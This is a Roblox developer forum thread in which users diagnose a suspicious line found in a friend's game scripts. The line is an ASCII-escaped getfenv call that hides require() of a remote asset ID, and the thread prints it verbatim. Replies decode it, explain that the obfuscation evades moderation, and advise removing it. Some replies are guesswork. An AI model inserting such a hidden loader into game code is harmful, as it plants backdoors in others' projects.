Is this line of code a virus?


Alright so, this was brought to my attention by one of my friends; their controls weren’t working and when going to give a little helping hand, we found this… I’m 99% sure this is a backdoor/virus to something and it was in multiple scripts.

Is this a virus?

getfenv()['\114\101\113\117\105\114\101'](5151855975)

Thank you for any help you can give me.

4 Likes

Looks that way.
Where did you get the script from? If it’s in multiple scripts you might want to check each of them.

1 Like

No idea, just got brought on after nothing worked properly.

It’s usually something bad when they want to hide what’s really going on.
Get rid of it just in case, you should do that anyways if it doesn’t belong in the game.

EDIT: Do not keep this model, it crashes your studio and most likely the servers as well.
It’s a [Content Deleted] model as well.

2 Likes

This line of code it’s the same as require(5151855975) but it’s using ascii code to translate the numbers to characters. So to know if it’s a virus or not, you will need to check what 5151855975 contains.

114 = r
101 = e
113 = q
117 = u

4 Likes

The “5151855975” Is probably a link to a module.

5 Likes

I thought that originally, however I put it in the search and this is what I found. [ Content Deleted ] - Roblox


@xTheBlockerx
Enquiry, Start of Heading, Enquiry, Start of Heading, Backspace, Enquiry, Enquiry, Horizontal Tab, Bell, Enquiry. I have no idea how to decrypt it properly.

1 Like

Yeah, you should probably remove the line. It’s quite suspicious that a script is using getfenv to hide a require() function.

2 Likes

Its a require function to get a module script. Though when I put the ID into my browser it was a model, and when I tried to put it in game, it crashed my studio. Though, it doesn’t seam very harmful because you can’t require a model :relaxed:

1 Like

Yeah I think whatever it is it doesn’t want to be looked into, also I wouldn’t be too sure that it’s just a model.

2 Likes

I’m pretty sure it is a module. The catalog item isn’t actually Content Deleted, the user just named the item “[ Content Deleted ]” to prevent people from reporting it.

1 Like

Yeah, it definitely is. They didn’t use the standard require() function since Roblox moderation bots began to remove them from the library. It is advised to remove this script.

1 Like

I let my computer be a guinea pig and opened the “Content Deleted” model on roblox studio. Almost intstantly my 16gb of ram was taken up. I closed my other apps, and roblox studio continued to eat away at any ram until it was about 96 percent usage. None of this suprised me since many times really large models will eat up ram like that, but what was weird was my disc usage shot up to about 50 percent and my transfer rate was at 100. After about 10 minutes my screen went black for a moment and when it went back on my disc was back at 0. I’d really be interested to see what the actual model is. Hope my pc doesn’t have a virus now. :slight_smile:

3 Likes

Same thing happened to me but studio wont work at all now.

1 Like

My guess is that it has an absurdly large amount of descendants inside it.

2 Likes

getfenv function is covered in this dev hub resource. Lua Globals (roblox.com)

But those numbers look like they don’t have any function. I have no idea if it’s a virus without knowing what what the script it came from does.

3 Likes

Yes. It requires a Model which is loaded with hundreds or thousands of parts which would crash the game instantly.

1 Like

The contents of the model is actually a few hundred or thousand parts, it’s strange how Roblox Studio struggled so hard with it though.

1 Like

I’ll take one for the team as I have a 64gb loaded in to my computer

1 Like

Yeah, it probably is a virus. It sorta looks like a decoded script. Or just using getfenv to hide the require. If you didn’t get this line or insert it from a model, then you should probably check every plugin you have.

1 Like